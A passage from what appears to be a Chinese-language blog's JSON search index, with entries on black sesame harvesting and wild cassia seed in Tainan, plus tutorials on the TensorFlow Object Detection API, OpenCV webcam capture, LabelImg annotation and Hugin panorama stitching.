[]).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e通常農民如果有同時種植好幾塊芝麻田，就會分批種植與採收，這是第一批採收回來的黑芝麻，放在家門口曝曬。\u003c/p\u003e","title":"[台南西港] 黑芝麻採收完成曝曬記錄，2017 年秋季"},{"content":"這是家門口野生的決明子，每年都是自己長出來，種子成熟後掉在土裡，隔年又會繼續再長。\n","permalink":"https://blog.gtwang.org/agriculture/cassia-seed-sigang-tainan-20171122/","summary":"\u003cp\u003e這是家門口野生的決明子，每年都是自己長出來，種子成熟後掉在土裡，隔年又會繼續再長。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"野生決明子\" loading=\"lazy\" src=\"/agriculture/cassia-seed-sigang-tainan-20171122/cassia-seed-sigang-tainan-20171122-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"野生決明子\" loading=\"lazy\" src=\"/agriculture/cassia-seed-sigang-tainan-20171122/cassia-seed-sigang-tainan-20171122-2.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"野生決明子\" loading=\"lazy\" src=\"/agriculture/cassia-seed-sigang-tainan-20171122/cassia-seed-sigang-tainan-20171122-3.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"野生決明子\" loading=\"lazy\" src=\"/agriculture/cassia-seed-sigang-tainan-20171122/cassia-seed-sigang-tainan-20171122-4.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"野生決明子\" loading=\"lazy\" src=\"/agriculture/cassia-seed-sigang-tainan-20171122/cassia-seed-sigang-tainan-20171203-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"野生決明子\" loading=\"lazy\" src=\"/agriculture/cassia-seed-sigang-tainan-20171122/cassia-seed-sigang-tainan-20171203-2.jpg\"\u003e\u003c/p\u003e","title":"[台南西港] 野生決明子，2017 年秋季"},{"content":"本篇介紹如何安裝與使用 TensorFlow Object Detection API，自動辨識照片或影片中的物件。\nTensorflow Object Detection API 是 Google 以 TensorFlow 為基礎所開發的物件偵測程式開發架構（framework），其以開放原始碼的方式釋出，所有想要開發以深度學習自動辨識物件程式的人，都可以很方便的利用這套架構發展自己的系統。\n安裝 Tensorflow Object Detection API 首先安裝 TensorFlow 的基本環境：\n# CPU 版 pip install tensorflow # GPU 版 pip install tensorflow-gpu 若在 Ubuntu Linux 中，其餘的套件可以使用 apt 安裝：\nsudo apt-get install protobuf-compiler python-pil python-lxml sudo pip install jupyter sudo pip install matplotlib 在其他的 Linux 系統中，則可統一用 pip 安裝：\nsudo pip install pillow sudo pip install lxml sudo pip install jupyter sudo pip install matplotlib 從 GitHub 上面下載 Tensorflow Object Detection API 的原始碼：\ngit clone https://github.com/tensorflow/models.git Tensorflow Object Detection API 在使用之前，要先編譯 Protobuf 函式庫：\n# 編譯 Protobuf 函式庫 cd models/research protoc object_detection/protos/*.proto --python_out=. 接著將 models/research 與 models/research/slim 加入 PYTHONPATH 環境變數中，這個步驟在每次使用 Tensorflow Object Detection API 之前都要執行，建議可以加入 ~/.bashrc 中：\n# 將 models/research 與 models/research/slim 加入 PYTHONPATH export PYTHONPATH=$PYTHONPATH:`pwd`:`pwd`/slim 若沒有出現錯誤訊息的話，接下來就可以開始使用 Tensorflow Object Detection API 偵測物件了。\n常見問題 如果 protoc 的版本太舊，編譯時可能會出現這樣的錯誤訊息：\nobject_detection/protos/anchor_generator.proto:11:3: Expected \"required\", \"optional\", or \"repeated\". object_detection/protos/anchor_generator.proto:11:32: Missing field number. 若遇到這樣的狀況，可以直接下載預先編譯好的 protoc 來使用：\n# 建立放置 protoc 的目錄 mkdir protoc_3.3 # 下載與解壓縮 protoc 3.3 cd protoc_3.3 wget https://github.com/google/protobuf/releases/download/v3.3.0/protoc-3.3.0-linux-x86_64.zip chmod 775 protoc-3.3.0-linux-x86_64.zip unzip protoc-3.3.0-linux-x86_64.zip # 使用 protoc 3.3 編譯 /your/path/protoc_3.3/bin/protoc object_detection/protos/*.proto --python_out=. Hello World Tensorflow Object Detection API 的原始碼中有附帶一個簡單的入門範例程式，位於 models/research/object_detection/object_detection_tutorial.ipynb，適合初學者來學習如何使用這套 API，這個範例程式是一個 .ipynb 的文件，必須要在 IPython Notebook 的環境中執行。\n進入 object_detection 目錄，開啟 Jupyter Notebook：\ncd object_detection jupyter notebook 開啟 Jupyter Notebook 之後，開啟 object_detection_tutorial.ipynb 這個範例程式碼：\n這個範例程式碼是由 Google 官方所提供的，裡面還有一些簡略的說明，對於熟悉 Python 與 TensorFlow 架構的人來說，應該是很容易就可以看得懂。\n這個範例程式本身就有附帶測試用的圖片資料，所以可以直接執行，正常來說執行後就會得到兩張偵測結果的圖片。\n這樣就完成 Tensorflow Object Detection API 基本的環境安裝與測試了。\n我直接拿幾張照片來測試，這個範例程式碼所使用的模型是 SSD + Mobilenet，辨識物件的速度非常快，但是精確度似乎不是非常好。\n這份範例程式碼的的測試圖檔是由 TEST_IMAGE_PATHS 這個變數來設定的，我們可以修改它，加上自己的圖片來測試一下：\n# 設定測試用的圖檔 PATH_TO_TEST_IMAGES_DIR = \u0026#39;test_images\u0026#39; TEST_IMAGE_PATHS = [ os.path.join(PATH_TO_TEST_IMAGES_DIR, \u0026#39;image{}.jpg\u0026#39;.format(i)) for i in range(1, 2) ] 以下是一些 Tensorflow Object Detection API 測試結果的圖片。\n接下來我們將以這個範例程式碼為基礎，介紹如何修改裡面的設定，根據自己的需求製作出適合的自動物件辨識引擎。\n指定模型 Tensorflow Object Detection API 提供了許多種不同的模型，每個模型各有優缺點，Speed 是辨識的速度，而 COCO mAP 則代表準確度，入門範例中使用的 ssd_mobilenet_v1_coco 模型是速度最快的，但是準確度也是最差的，這種模型適合用在即時（real time）的應用。如果比較在意準確度而不在意速度的話，就可以考慮其它模型。\n在這個範例中，我們可以透過 MODEL_NAME 來指定模型，這裡示範換成準確度比較高的 Faster RCNN + NAS（Neural Architecture Search）模型：\n# 使用 Faster RCNN + NAS 模型 MODEL_NAME = \u0026#39;faster_rcnn_nas_coco_2017_11_08\u0026#39; MODEL_FILE = MODEL_NAME + \u0026#39;.tar.gz\u0026#39; DOWNLOAD_BASE = \u0026#39;http://download.tensorflow.org/models/object_detection/\u0026#39; 以下是用 Faster RCNN + NAS 模型所跑出來的結果：\n換成 Faster RCNN + NAS 模型之後，大部分的結果都很不錯，只差小獅子會被誤判成貓與狗，不過感覺起來準確度是可以接受的。\n影片與網路攝影機的物件辨識 以上的應用都是拿靜態的圖片進行物件辨識，接下來我們要示範如何從影片或即時的網路攝影機取得影像，靠著 Tensorflow Object Detection API 辨識出串流影片中的物件，並產生有物件標註的影片檔。\n首先將上面的範例儲存成一般的 Python 指令稿，然後參考 OpenCV 擷取網路攝影機串流影像的技巧，將這個範例中的輸入影像替換為攝影機的影像，讓每個串流影格經過 Tensorflow Object Detection API 物件辨識處理後，再即時顯示在 OpenCV 的視窗中。\n完整個範例程式碼如下：\nimport numpy as np import os import six.moves.urllib as urllib import sys import tarfile import tensorflow as tf import zipfile import scipy.misc # 加入 OpenCV 模組 import cv2 from collections import defaultdict from io import StringIO from matplotlib import pyplot as plt from PIL import Image if tf.__version__ != \u0026#39;1.4.0\u0026#39;: raise ImportError(\u0026#39;Please upgrade your tensorflow installation to v1.4.0!\u0026#39;) # 建立 VideoCapture 物件 cap = cv2.VideoCapture(1) # 設定擷取的畫面解析度 cap.set(cv2.CAP_PROP_FRAME_WIDTH, 960) cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 480) sys.path.append(\u0026#34;..\u0026#34;) from utils import label_map_util from utils import visualization_utils as vis_util MODEL_NAME = \u0026#39;ssd_mobilenet_v1_coco_2017_11_17\u0026#39; MODEL_FILE = MODEL_NAME + \u0026#39;.tar.gz\u0026#39; DOWNLOAD_BASE = \u0026#39;http://download.tensorflow.org/models/object_detection/\u0026#39; PATH_TO_CKPT = MODEL_NAME + \u0026#39;/frozen_inference_graph.pb\u0026#39; PATH_TO_LABELS = os.path.join(\u0026#39;data\u0026#39;, \u0026#39;mscoco_label_map.pbtxt\u0026#39;) NUM_CLASSES = 90 opener = urllib.request.URLopener() opener.retrieve(DOWNLOAD_BASE + MODEL_FILE, MODEL_FILE) tar_file = tarfile.open(MODEL_FILE) for file in tar_file.getmembers(): file_name = os.path.basename(file.name) if \u0026#39;frozen_inference_graph.pb\u0026#39; in file_name: tar_file.extract(file, os.getcwd()) detection_graph = tf.Graph() with detection_graph.as_default(): od_graph_def = tf.GraphDef() with tf.gfile.GFile(PATH_TO_CKPT, \u0026#39;rb\u0026#39;) as fid: serialized_graph = fid.read() od_graph_def.ParseFromString(serialized_graph) tf.import_graph_def(od_graph_def, name=\u0026#39;\u0026#39;) label_map = label_map_util.load_labelmap(PATH_TO_LABELS) categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True) category_index = label_map_util.create_category_index(categories) def load_image_into_numpy_array(image): (im_width, im_height) = image.size return np.array(image.getdata()).reshape( (im_height, im_width, 3)).astype(np.uint8) with detection_graph.as_default(): with tf.Session(graph=detection_graph) as sess: # 使用無窮迴圈，持續擷取網路攝影機影像 while True: # 讀取一個影格 ret, image_np = cap.read() image_tensor = detection_graph.get_tensor_by_name(\u0026#39;image_tensor:0\u0026#39;) detection_boxes = detection_graph.get_tensor_by_name(\u0026#39;detection_boxes:0\u0026#39;) detection_scores = detection_graph.get_tensor_by_name(\u0026#39;detection_scores:0\u0026#39;) detection_classes = detection_graph.get_tensor_by_name(\u0026#39;detection_classes:0\u0026#39;) num_detections = detection_graph.get_tensor_by_name(\u0026#39;num_detections:0\u0026#39;) image_np_expanded = np.expand_dims(image_np, axis=) (boxes, scores, classes, num) = sess.run( [detection_boxes, detection_scores, detection_classes, num_detections], feed_dict={image_tensor: image_np_expanded}) vis_util.visualize_boxes_and_labels_on_image_array( image_np, np.squeeze(boxes), np.squeeze(classes).astype(np.int32), np.squeeze(scores), category_index, use_normalized_coordinates=True, line_thickness=4) # 以 OpenCV 視窗即時顯示辨識結果 cv2.imshow(\u0026#39;object detection\u0026#39;, image_np) if cv2.waitKey(25) \u0026amp; 0xFF == ord(\u0026#39;q\u0026#39;): cv2.destroyAllWindows() break 執行之後，就可以從網路攝影機擷取串流的影像，即時產生辨識的結果。\n這是我將每個影格辨識的結果輸出成影片的樣子。\n在這種即時性的應用，就比較適合使用 SSD + Mobilenet 這類運算比較快的模型，若使用 Faster RCNN + NAS 這種比較慢的模型，每個畫面運算就要等比較久。\n除了即時擷取網路攝影機的影像之外，也可以從影片檔案讀取畫面來進行物件辨識，我拿之前用樹莓派拍攝的縮時攝影來測試，以下是測試結果：\n參考資料 PythonProgramming.net ","permalink":"https://blog.gtwang.org/programming/tensorflow-object-detection-api-tutorial/","summary":"\u003cp\u003e本篇介紹如何安裝與使用 TensorFlow Object Detection API，自動辨識照片或影片中的物件。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/tensorflow/models/tree/master/research/object_detection\"\u003eTensorflow Object Detection API\u003c/a\u003e 是 Google 以 TensorFlow 為基礎所開發的物件偵測程式開發架構（framework），其以開放原始碼的方式釋出，所有想要開發以深度學習自動辨識物件程式的人，都可以很方便的利用這套架構發展自己的系統。\u003c/p\u003e","title":"TensorFlow Object Detection API 自動辨識物件教學"},{"content":"這裡介紹如何使用 Python 與 OpenCV 擷取網路攝影機影像，處理與顯示即時的畫面影像，並將連續的畫面影像寫入影片檔案中儲存起來。\n若要使用 Python 取的網路攝影機的串流影像，可以透過 OpenCV 模組的 VideoCapture 影片擷取功能來達成，至於寫入影片檔則可使用 VideoWriter，操作方式非常簡單，以下是使用教學與簡單的入門範例。\n擷取網路攝影機串流影像 在準備擷取攝影機的影像之前，要先呼叫 cv2.VideoCapture 建立一個 VideoCapture 物件，這個 VideoCapture 物件會連接到一隻網路攝影機，我們可以靠著它的參數來指定要使用那一隻攝影機（0 代表第一隻、1 代表第二隻）。\n建立好 VideoCapture 物件之後，就可以使用它的 read 函數來擷取一張張連續的畫面影像了，以下是一個即時擷取與顯示畫面的範例：\nimport cv2 # 選擇第二隻攝影機 cap = cv2.VideoCapture(1) while(True): # 從攝影機擷取一張影像 ret, frame = cap.read() # 顯示圖片 cv2.imshow(\u0026#39;frame\u0026#39;, frame) # 若按下 q 鍵則離開迴圈 if cv2.waitKey(1) \u0026amp; 0xFF == ord(\u0026#39;q\u0026#39;): break # 釋放攝影機 cap.release() # 關閉所有 OpenCV 視窗 cv2.destroyAllWindows() 在這個無窮迴圈中，每次呼叫 cap.read() 就會讀取一張畫面，其第一個傳回值 ret代表成功與否（True 代表成功，False 代表失敗），而第二個傳回值 frame 就是攝影機的單張畫面。\n在某些情況下網路攝影機可能不會自動打開，這樣的程式執行後就會出錯，若遇到這種狀況的話可以用 cap.isOpened() 檢查攝影機是否有啟動，若沒有啟動則呼叫 cap.open() 啟動它。\n將畫面擷取下來之後，馬上使用 cv2.imshow 來顯示，接著再擷取下一張，這樣執行起來就會是串流影像的效果。\n串流影像處理 如果要即時處理從網路攝影機擷取的串流影像，就把處理圖片的程式碼放在這個迴圈中即可，例如將彩色的 RGB 圖片轉為灰階：\nimport cv2 cap = cv2.VideoCapture(1) while(True): ret, frame = cap.read() # 將圖片轉為灰階 gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) cv2.imshow(\u0026#39;frame\u0026#39;, gray) if cv2.waitKey(1) \u0026amp; 0xFF == ord(\u0026#39;q\u0026#39;): break cap.release() cv2.destroyAllWindows() 執行後的畫面會像這樣：\n除了簡單的灰階處理，我們也可以加入各式各樣的影像處理演算法（例如物件偵測等），實作出各種應用。\n影片相關資訊 我們可以透過 cap.get(propId) 來取得影片的一些資訊，其中 propId 是屬性的 ID，可用的值是從 0 到 18，詳細的說明可參考 OpenCV 的文件。\n以下是查詢畫面大小以及編碼方式的範例：\nimport cv2 cap = cv2.VideoCapture(1) # 解析 Fourcc 格式資料的函數 def decode_fourcc(v): v = int(v) return \u0026#34;\u0026#34;.join([chr((v \u0026gt;\u0026gt; 8 * i) \u0026amp; 0xFF) for i in range(4)]) # 取得影像的尺寸大小 width = cap.get(cv2.CAP_PROP_FRAME_WIDTH) height = cap.get(cv2.CAP_PROP_FRAME_HEIGHT) print(\u0026#34;Image Size: %d x %d\u0026#34; % (width, height)) # 取得 Codec 名稱 fourcc = cap.get(cv2.CAP_PROP_FOURCC) codec = decode_fourcc(fourcc) print(\u0026#34;Codec: \u0026#34; + codec) cap.release() 執行後的輸出會類似這樣：\nImage Size: 640 x 480 Codec: YUYV 若要更改這些影片的設定值，可以使用 cap.set(propId, value) 這個函數，以下是更改攝影機畫面解析度的範例：\nimport cv2 cap = cv2.VideoCapture(1) # 設定影像的尺寸大小 cap.set(cv2.CAP_PROP_FRAME_WIDTH, 1280) cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 960) while(True): ret, frame = cap.read() cv2.imshow(\u0026#39;frame\u0026#39;, frame) if cv2.waitKey(1) \u0026amp; 0xFF == ord(\u0026#39;q\u0026#39;): break cap.release() cv2.destroyAllWindows() 執行後，畫面就會變成 1280×960 的解析度：\n讀取影片檔案 OpenCV 除了從網路攝影機擷取即時的影像之外，也可以從儲存於硬碟中的影片檔案來讀取影像畫面，進行各種處理，而使用方式跟上面網路攝影機的例子都差不多，只是在建立 VideoCapture 物件時，要指定影片檔案的位置。\nimport cv2 # 開啟影片檔案 cap = cv2.VideoCapture(\u0026#39;my_video.avi\u0026#39;) # 以迴圈從影片檔案讀取影格，並顯示出來 while(cap.isOpened()): ret, frame = cap.read() cv2.imshow(\u0026#39;frame\u0026#39;,frame) if cv2.waitKey(1) \u0026amp; 0xFF == ord(\u0026#39;q\u0026#39;): break cap.release() cv2.destroyAllWindows() 這裡我拿一個從 YouTube 上面下載的卡通影片作為示範：\n寫入影片檔案 如果想要將網路攝影機所擷取到的串流影像儲存下來，最簡單的方就是呼叫 cv2.imwrite 將每一張畫面都儲存成個別的圖片檔，這種方式就跟一般圖片的處理方式相同。\n另一種儲存串流影像的方式就是使用 VideoWriter 輸出成影片檔案（例如 MP4、AVI 等格式的影片），使用時先建立一個 VideoWriter 物件，並指定影片的輸出檔案名稱、解析度、FPS 值以及編碼格式，再將擷取到的每張畫面依序寫入即可，以下是一個簡單的範例：\nimport cv2 cap = cv2.VideoCapture(1) # 設定擷取影像的尺寸大小 cap.set(cv2.CAP_PROP_FRAME_WIDTH, 640) cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 360) # 使用 XVID 編碼 fourcc = cv2.VideoWriter_fourcc(*\u0026#39;XVID\u0026#39;) # 建立 VideoWriter 物件，輸出影片至 output.avi # FPS 值為 20.0，解析度為 640x360 out = cv2.VideoWriter(\u0026#39;output.avi\u0026#39;, fourcc, 20.0, (640, 360)) while(cap.isOpened()): ret, frame = cap.read() if ret == True: # 寫入影格 out.write(frame) cv2.imshow(\u0026#39;frame\u0026#39;,frame) if cv2.waitKey(1) \u0026amp; 0xFF == ord(\u0026#39;q\u0026#39;): break else: break # 釋放所有資源 cap.release() out.release() cv2.destroyAllWindows() 這個程式執行之後，就會將擷取到的串流影像以 XVID 編碼寫入 output.avi 中。\n不同的平台會支援不同的編碼格式，影片常見的編碼格式有：DIVX、XVID、MJPG、X264、WMV1、WMV2 等，使用時可以自己嘗試看看。\n參考資料 OpenCV ","permalink":"https://blog.gtwang.org/programming/opencv-webcam-video-capture-and-file-write-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用 Python 與 OpenCV 擷取網路攝影機影像，處理與顯示即時的畫面影像，並將連續的畫面影像寫入影片檔案中儲存起來。\u003c/p\u003e\n\u003cp\u003e若要使用 Python 取的網路攝影機的串流影像，可以透過 OpenCV 模組的 \u003ccode\u003eVideoCapture\u003c/code\u003e 影片擷取功能來達成，至於寫入影片檔則可使用 \u003ccode\u003eVideoWriter\u003c/code\u003e，操作方式非常簡單，以下是使用教學與簡單的入門範例。\u003c/p\u003e","title":"OpenCV 擷取網路攝影機串流影像，處理並寫入影片檔案教學"},{"content":"本篇介紹如何使用 LabelImg 這個免費的影像標註工具，標示照片中的物體，製作成可用來訓練深度學習引擎的輸入資料集。\n在使用深度學習來實作影像的物件偵測時，都會需要有大量的已知資料集，也就是照片加上物件的所在位置以及物件的名稱，而通常若要準備這類的資料，初期都會使用人工的方式來手動標註，而 LabelImg 就是用來標註照片中物體位置與名稱的小工具。\n名稱：LabelImg 影像標註工具\n官方網站：https://github.com/HumanSignal/labelImg\n支援平台：Windows、Linux、Mac OS X\n授權：開放原始碼（MIT 授權）\n安裝 LabelImg LabelImg 支援 Windows、Linux 與 Mac OS X 平台，而 Windows 與 Linux 兩個平台有提供預先編譯好的版本，直接從其官方網站下載即可使用。\n另外也可以從 PyPI 上面直接下載：\n# 從 PyPI 下載與安裝 LabelImg pip install labelImg # 執行 LabelImg labelImg 執行之後，就會開啟 LabelImg 的視窗。\n標註照片 Step 1\n開啟 LabelImg 之後，首先開啟想要進行標註的圖片檔，開啟時可以選擇「Open」開啟單張圖檔，或是以「Open Dir」開啟整個目錄中所有的圖檔。\n這裡我拿兩張歐洲盤羊的圖片作為示範。\nStep 2\n這張照片中有三頭歐洲盤羊，接下來我們就要在這張照片上標示出這三頭羊的位置與名稱資訊。\n在照片上點選滑鼠右鍵，在右鍵選單中點選「Create RectBox」。\n如果要進行大量的物件標註，可以先研究一下 LabelImg 的快速鍵，以加速人工標註的速度，例如建立標註方框的快速鍵就是 w，善用這些快速鍵的話，標註的處理速度會加快非常多。\nStep 3\n使用滑鼠將整頭羊框起來。\nStep 4\n輸入這個物件的名稱。\nStep 5\n按照上述的物件標註方式，把照片中的每一個物件都標示好，在標示多個物件時，LabelImg 會自動列出已經標示過的名稱，所以如果有重複的名稱，就可以直接用滑鼠在選單上點選，不用再打一次，非常方便。\nStep 6\n標示完成後，在視窗的右方會列出所有標示好的物件，我們可以對任何的物件進行修改或刪除等動作。\nStep 7\n當一張圖片上的物件都標註完成後，記得按下左側的「Save」鍵儲存，LabelImg 會使用 XML 格式來儲存標註資訊。\n這樣就完成一張圖片的標註工作了。\nStep 8\n若有多張照片的話，就按照這樣的流程來標註每一張照片，記得每張照片標註完都要儲存成 XML 檔。\n使用 LabelImg 開啟照片時，會自動檢查是否有對應的 XML 標註檔，如果它發現同目錄下有對應的 XML 標註檔，就會自動載入它並顯示出來，所以一般來說，將標註的 XML 與照片放在一起會比較方便。\nLabelImg 輸出的 XML 內容會類似這樣：\n\u0026lt;annotation\u0026gt; \u0026lt;folder\u0026gt;mouflon\u0026lt;/folder\u0026gt; \u0026lt;filename\u0026gt;mouflon-1260937_1280.jpg\u0026lt;/filename\u0026gt; \u0026lt;path\u0026gt;/home/gtwang/mouflon/mouflon-1260937_1280.jpg\u0026lt;/path\u0026gt; \u0026lt;source\u0026gt; \u0026lt;database\u0026gt;Unknown\u0026lt;/database\u0026gt; \u0026lt;/source\u0026gt; \u0026lt;size\u0026gt; \u0026lt;width\u0026gt;1280\u0026lt;/width\u0026gt; \u0026lt;height\u0026gt;853\u0026lt;/height\u0026gt; \u0026lt;depth\u0026gt;3\u0026lt;/depth\u0026gt; \u0026lt;/size\u0026gt; \u0026lt;segmented\u0026gt;\u0026lt;/segmented\u0026gt; \u0026lt;object\u0026gt; \u0026lt;name\u0026gt;Mouflon\u0026lt;/name\u0026gt; \u0026lt;pose\u0026gt;Unspecified\u0026lt;/pose\u0026gt; \u0026lt;truncated\u0026gt;\u0026lt;/truncated\u0026gt; \u0026lt;difficult\u0026gt;\u0026lt;/difficult\u0026gt; \u0026lt;bndbox\u0026gt; \u0026lt;xmin\u0026gt;28\u0026lt;/xmin\u0026gt; \u0026lt;ymin\u0026gt;383\u0026lt;/ymin\u0026gt; \u0026lt;xmax\u0026gt;434\u0026lt;/xmax\u0026gt; \u0026lt;ymax\u0026gt;817\u0026lt;/ymax\u0026gt; \u0026lt;/bndbox\u0026gt; \u0026lt;/object\u0026gt; \u0026lt;object\u0026gt; \u0026lt;name\u0026gt;Mouflon\u0026lt;/name\u0026gt; \u0026lt;pose\u0026gt;Unspecified\u0026lt;/pose\u0026gt; \u0026lt;truncated\u0026gt;\u0026lt;/truncated\u0026gt; \u0026lt;difficult\u0026gt;\u0026lt;/difficult\u0026gt; \u0026lt;bndbox\u0026gt; \u0026lt;xmin\u0026gt;399\u0026lt;/xmin\u0026gt; \u0026lt;ymin\u0026gt;270\u0026lt;/ymin\u0026gt; \u0026lt;xmax\u0026gt;828\u0026lt;/xmax\u0026gt; \u0026lt;ymax\u0026gt;702\u0026lt;/ymax\u0026gt; \u0026lt;/bndbox\u0026gt; \u0026lt;/object\u0026gt; \u0026lt;object\u0026gt; \u0026lt;name\u0026gt;Mouflon\u0026lt;/name\u0026gt; \u0026lt;pose\u0026gt;Unspecified\u0026lt;/pose\u0026gt; \u0026lt;truncated\u0026gt;\u0026lt;/truncated\u0026gt; \u0026lt;difficult\u0026gt;\u0026lt;/difficult\u0026gt; \u0026lt;bndbox\u0026gt; \u0026lt;xmin\u0026gt;817\u0026lt;/xmin\u0026gt; \u0026lt;ymin\u0026gt;166\u0026lt;/ymin\u0026gt; \u0026lt;xmax\u0026gt;1268\u0026lt;/xmax\u0026gt; \u0026lt;ymax\u0026gt;612\u0026lt;/ymax\u0026gt; \u0026lt;/bndbox\u0026gt; \u0026lt;/object\u0026gt; \u0026lt;/annotation\u0026gt; 有了這些照片的標註資訊，就可以進行後續的深度學習引擎訓練了。\n常見問題 若在 Ubuntu Linux 中執行 labelImg 時，出現這樣的錯誤訊息：\nTraceback (most recent call last): File \"/usr/local/bin/labelImg\", line 7, in from labelImg.labelImg import main File \"/usr/local/lib/python2.7/dist-packages/labelImg/labelImg.py\", line 24, in from PyQt4.QtGui import * ImportError: No module named PyQt4.QtGui 表示 Python 的 Qt 模組沒有裝，只要安裝一下即可：\nsudo apt-get install python-qt4 ","permalink":"https://blog.gtwang.org/useful-tools/labelimg-graphical-image-annotation-tool-tutorial/","summary":"\u003cp\u003e本篇介紹如何使用 LabelImg 這個免費的影像標註工具，標示照片中的物體，製作成可用來訓練深度學習引擎的輸入資料集。\u003c/p\u003e\n\u003cp\u003e在使用深度學習來實作影像的物件偵測時，都會需要有大量的已知資料集，也就是照片加上物件的所在位置以及物件的名稱，而通常若要準備這類的資料，初期都會使用人工的方式來手動標註，而 LabelImg 就是用來標註照片中物體位置與名稱的小工具。\u003c/p\u003e","title":"LabelImg 影像標註工具使用教學，製作深度學習用的資料集"},{"content":"本篇介紹如何使用 Hugin 拼貼出全景視野的照片，自己製作出專業的全景照。\n全景照片（Panorama，或稱環景圖）是指把好幾張以不同角度拍攝的照片縫合在一起，讓相片的視角變得比正常的照片更為廣闊（水平 90 度以上，甚至可達 360 度）。\n拍攝全景相片其實不難，概念上就像拼圖一樣，把每個角度的畫面照下來，再接起來就完成了，使用一般的相機來拍攝就可以了，不需要特別的設備，當然如果有腳架的話，會比較好拍攝，但若沒有腳架其實也是可以拍的，拍攝技巧可參考 Foto Beginner 的教學文章。\n拍攝好的數張單張相片，若要將其縫合，可以使用 Hugin 這套開放原始碼的全景相片縫合軟體，以下介紹它的的使用方式。\n名稱：Hugin 全景相片縫合軟體\n官方網站：hugin.sourceforge.net\n支援平台：Windows、Linux、Mac OS X\n授權：開放原始碼（GNU GPLv2 授權）\n準備照片 使用一般的相機拍攝好各個連續角度的照片，這裡我使用最近在台南西港芝麻田所拍攝的照片作為示範。\n這裡的照片有 8 張，以從右到左的方向拍攝，這些照片我打包好放在 panorama_example_2017.zip 這個壓縮檔中，若要練習的人可以直接下載使用。\nHugin 縫合照片 照片準備好之後，就可以使用 Hugin 依照以下的步驟縫合照片，製作全景照片了。\nHugin 是一個功能很強大的照片縫合軟體，這裡我們只介紹最簡易的照片縫合功能，用最直覺的方式製作全景照片。\nStep 1\n從 Hugin 官方網站下載這套軟體之後，安裝起來並執行它，開啟這套軟體之後，會看到這樣的視窗畫面。\nStep 2\n用滑鼠將照片依照順序拖進 Hugin 的視窗中，它預設的的順序是由左到右。\n如果不依照順序拖進 Hugin 的話，在後面拼圖的時候會比較辛苦。\nStep 3\n選擇「移動/拖曳」籤頁，用滑鼠調整每張照片的位置，盡量讓照片互相對準。\nStep 4\n讓照片之間都大約對準之後，再選擇「接圖分析」籤頁，然後點選「對準」，讓 Hugin 自動進行對準的動作。\nStep 5\n在對準的過程會進行一些運算，要稍微等一下。\nStep 6\n經過 Hugin 的自動對準處理之後，就會得到一張縫合好的全景圖了，而 Hugin 會自動根據照片縫合的範圍，計算最佳的裁切方式，使用者也可以自己調整裁切的範圍。\n有時候在一開始手動對準照片時沒有放置好，偏離實際的位置太遠的話，Hugin 在自動對準時就容易對歪掉，導致整張圖走樣，若發生這樣的壯況，可以嘗試重新對的更仔細一點。\n確認結果沒問題的話，就可以點選「創建全景圖片」，將結果輸出。\nStep 7\n在輸出參數中，可以調整圖檔尺寸，以及曝光修正等選項。\nStep 8\n輸出最後的全景圖也會需要等一下。\nStep 9\n等待輸出完成後，就可以得到一張壯觀的全景攝影相片了。\n","permalink":"https://blog.gtwang.org/useful-tools/hugin-panorama-photo-stitcher-tutorial/","summary":"\u003cp\u003e本篇介紹如何使用 Hugin 拼貼出全景視野的照片，自己製作出專業的全景照。\u003c/p\u003e\n\u003cp\u003e全景照片（Panorama，或稱環景圖）是指把好幾張以不同角度拍攝的照片縫合在一起，讓相片的視角變得比正常的照片更為廣闊（水平 90 度以上，甚至可達 360 度）。\u003c/p\u003e","title":"Hugin 照片縫合軟體，自製全景照片教學"},{"content":"這裡記錄台南西港地區 2017 年秋季黑芝麻收成時，將黑芝麻從曬乾植株上打下來的過程。\n黑芝麻在採收與曝曬之後，接著就會將所有的黑芝麻從植株上打下來，並將大部分的雜質篩掉，這個過程就稱為打芝麻，以下是我們家自己在打芝麻的寫實記錄。\n整個打芝麻的過程我有拍攝成簡單的記錄片。\n而打芝麻的每個步驟說明，請看下面的文章介紹。\n曬乾的芝麻植株 芝麻植株放在田裡曬到差不多乾燥的時候，就要收集起來，把果莢內部的芝麻打出來，而這個時機要拿捏好，不夠乾的話，芝麻會打不出來，而若是太乾的話，芝麻可能會在打之前就掉在田裡損失掉了。\n正常來說，曬乾的芝麻會像這樣露出黑色的芝麻粒。\n但是有些芝麻果莢在曝曬的過程中會提早打開，裡面的芝麻粒就會幾乎掉光，或是被鳥吃掉等，這種損失是很常見的。\n像這整束芝麻植株上的芝麻，在曝曬的過程中就掉幾乎掉光了，只剩下空的果莢。\n在這些芝麻植株下方，時常可以發現散落在土地上的黑色芝麻，這些黑芝麻掉在地上之後，就很難撿回來了。\n打芝麻 打芝麻時，首先把曬乾的芝麻植株拿到鋪好的帆布上，再將芝麻打下來。\n曬乾的芝麻稍微一碰就會掉下來，所以在搬動的過程要小心，不要讓芝麻掉進田裡。這些是將芝麻植株放在帆布上的時候，自然掉下來的芝麻。\n接著就用棍棒敲打芝麻植株，打出果夾內的芝麻。\n打完了的芝麻植株就沒有什麼用了，通常都是順手丟在旁邊。\n這些是打完了的芝麻果莢，裡面就是空的了。\n篩去雜質 